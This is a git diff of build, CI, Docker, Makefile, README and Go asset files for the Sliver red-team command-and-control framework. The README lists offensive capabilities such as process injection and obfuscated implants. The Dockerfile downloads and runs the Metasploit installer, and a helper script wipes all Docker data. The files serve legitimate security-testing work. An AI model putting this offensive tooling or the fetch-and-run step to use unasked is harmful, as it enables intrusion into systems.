- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows (amd64)
run: make windows-amd64
- name: Make Linux (arm64)
run: make linux-arm64
macos-build-test:
name: MacOS Test
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make MacOS (amd64)
run: make macos-amd64
- name: Test MacOS (amd64)
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64)
run: make macos-arm64
clients-build:
name: Clients Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.20
uses: actions/setup-go@v4
with:
go-version: "^1.20"
- name: Check Out Code
uses: actions/checkout@v3
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make clients
+8
View File
@@ -14,10 +14,12 @@
/sliver-server
/sliver-server_arm64
/sliver.exe
/sliver-server_*
/sliver-client
/sliver-client_arm64
/sliver-client.exe
/sliver-client_*
sliver-server-linux.zip
sliver-server-macos.zip
@@ -32,6 +34,7 @@ sliver-server-windows.zip
# Test binary, build with `go test -c`
/*.test
/test.py
# Output of the go coverage tool, specifically when used with LiteIDE
/*.out
@@ -40,3 +43,8 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
# Flag to show that go-assets.sh has been run
.downloaded_assets
+24 -27
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.20.4
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.6
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
@@ -43,21 +43,18 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
#
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# WORKDIR /tmp
# RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
# && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
# && cp -vv ./bin/protoc /usr/local/bin
# RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
# && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make \
RUN make clean-all \
&& make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
+88 -40
View File
@@ -3,9 +3,14 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
TAGS ?= -tags osusergo,netgo,go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
CGO_ENABLED = 1
endif
#
# Prerequisites
@@ -22,16 +27,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
MIN_SUPPORTED_GO_MINOR_VERSION = 20
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -43,9 +48,18 @@ LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
# Debug builds shouldn't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -53,17 +67,6 @@ STATIC_TARGET := linux
UNAME_S := $(shell uname -s)
UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
@@ -76,8 +79,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -90,7 +97,7 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
@@ -98,29 +105,61 @@ endif
# Targets
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
default: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
.PHONY: client
client: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-amd64
macos-amd64: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
macos-arm64: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: linux-amd64
linux-amd64: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
.PHONY: linux-arm64
linux-arm64: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows-amd64
windows-amd64: clean .downloaded_assets validate-go-version
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: clients
clients: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
.PHONY: servers
servers:
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
.PHONY: pb
pb:
@@ -130,6 +169,11 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: debug
debug: clean
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
@@ -148,8 +192,12 @@ clean-all: clean
rm -rf ./server/assets/fs/windows/amd64
rm -rf ./server/assets/fs/linux/amd64
rm -f ./server/assets/fs/*.zip
rm -f ./.downloaded_assets
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
.downloaded_assets:
./go-assets.sh
touch ./.downloaded_assets
+27 -19
View File
@@ -1,28 +1,33 @@
Sliver
======
# Sliver
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
# v1.6.0 / `master`
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
### Features
* Dynamic code generation
* Compile-time obfuscation
* Multiplayer-mode
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
- Dynamic code generation
- Compile-time obfuscation
- Multiplayer-mode
- Staged and Stageless payloads
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
- Windows process migration, process injection, user token manipulation, etc.
- Let's Encrypt integration
- In-memory .NET assembly execution
- COFF/BOF in-memory loader
- TCP and named pipe pivots
- Much more!
### Getting Started
@@ -40,7 +45,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+1 -1
View File
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
### Reporting a Vulnerability
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
+62 -40
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
@@ -21,12 +21,6 @@ import os
import sys
import argparse
try:
input = raw_input # Py2 / Py3 compatability
except NameError:
pass
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
@@ -34,40 +28,51 @@ NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
""" Executes a command with some sugar """
"""Executes a command with some sugar"""
print("\n" + INFO + " %s\n" % cmd)
status = os.system(cmd)
if status != 0 and not ignore_status:
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
if input("continue? [Y/n]: ").upper() != 'Y':
if input("continue? [Y/n]: ").upper() != "Y":
sys.exit(status)
return status
def docker_rm_volumes():
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
def docker_rm_containers():
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
def docker_rm_images():
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
def docker_prune():
exec_cmd("docker image prune -f", ignore_status=True)
def docker_rm_all():
docker_rm_containers()
docker_rm_images()
docker_rm_volumes()
def build():
status = exec_cmd("docker build -t sliver .")
if status == 0:
print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
print(INFO+"Remember you'll need to manually forward network ports")
print(
INFO
+ "Build successful, start with %sdocker run -it sliver:latest%s"
% (BOLD, NORM)
)
print(INFO + "Remember you'll need to manually forward network ports")
def main(args):
""" Execute the respective task(s) based on cli args """
"""Execute the respective task(s) based on cli args"""
if args.rm_images:
docker_rm_images()
if args.rm_containers:
@@ -76,42 +81,59 @@ def main(args):
docker_rm_volumes()
if args.rm_all:
docker_rm_all()
if not args.no_prune:
docker_prune()
if not args.no_build:
build()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='automates interactions with docker')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="automates interactions with docker")
parser.add_argument('--no-build', '-b',
help='do not run build',
dest='no_build',
action='store_true')
parser.add_argument('--no-prune', '-np',
help='do not prune images',
dest='no_prune',
action='store_true')
parser.add_argument(
"--no-build",
"-b",
help="do not run build",
dest="no_build",
action="store_true",
)
parser.add_argument(
"--no-prune",
"-np",
help="do not prune images",
dest="no_prune",
action="store_true",
)
parser.add_argument('--rm-all', '-rma',
help='rm all containers, images, and volumes',
dest='rm_all',
action='store_true')
parser.add_argument('--rm-containers', '-rmc',
help='rm all containers',
dest='rm_containers',
action='store_true')
parser.add_argument('--rm-images', '-rmi',
help='rm all images',
dest='rm_images',
action='store_true')
parser.add_argument('--rm-volumes', '-rmv',
help='rm dangling volumes only',
dest='rm_volumes',
action='store_true')
parser.add_argument(
"--rm-all",
"-rma",
help="rm all containers, images, and volumes",
dest="rm_all",
action="store_true",
)
parser.add_argument(
"--rm-containers",
"-rmc",
help="rm all containers",
dest="rm_containers",
action="store_true",
)
parser.add_argument(
"--rm-images",
"-rmi",
help="rm all images",
dest="rm_images",
action="store_true",
)
parser.add_argument(
"--rm-volumes",
"-rmv",
help="rm dangling volumes only",
dest="rm_volumes",
action="store_true",
)
try:
main(parser.parse_args())
except KeyboardInterrupt:
+1 -2
View File
@@ -19,7 +19,6 @@ package assets
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
@@ -45,7 +44,7 @@ func GetAliasesDir() string {
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
aliasDirContent, err := os.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
+28 -5
View File
@@ -20,8 +20,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +31,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +42,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -50,7 +56,7 @@ func GetArmoriesConfig() []*ArmoryConfig {
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
data, err := os.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
@@ -59,5 +65,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+25 -2
View File
@@ -20,7 +20,6 @@ package assets
import (
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
@@ -50,9 +49,33 @@ func GetRootAppDir() string {
return dir
}
// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
func GetClientLogsDir() string {
logsDir := filepath.Join(GetRootAppDir(), "logs")
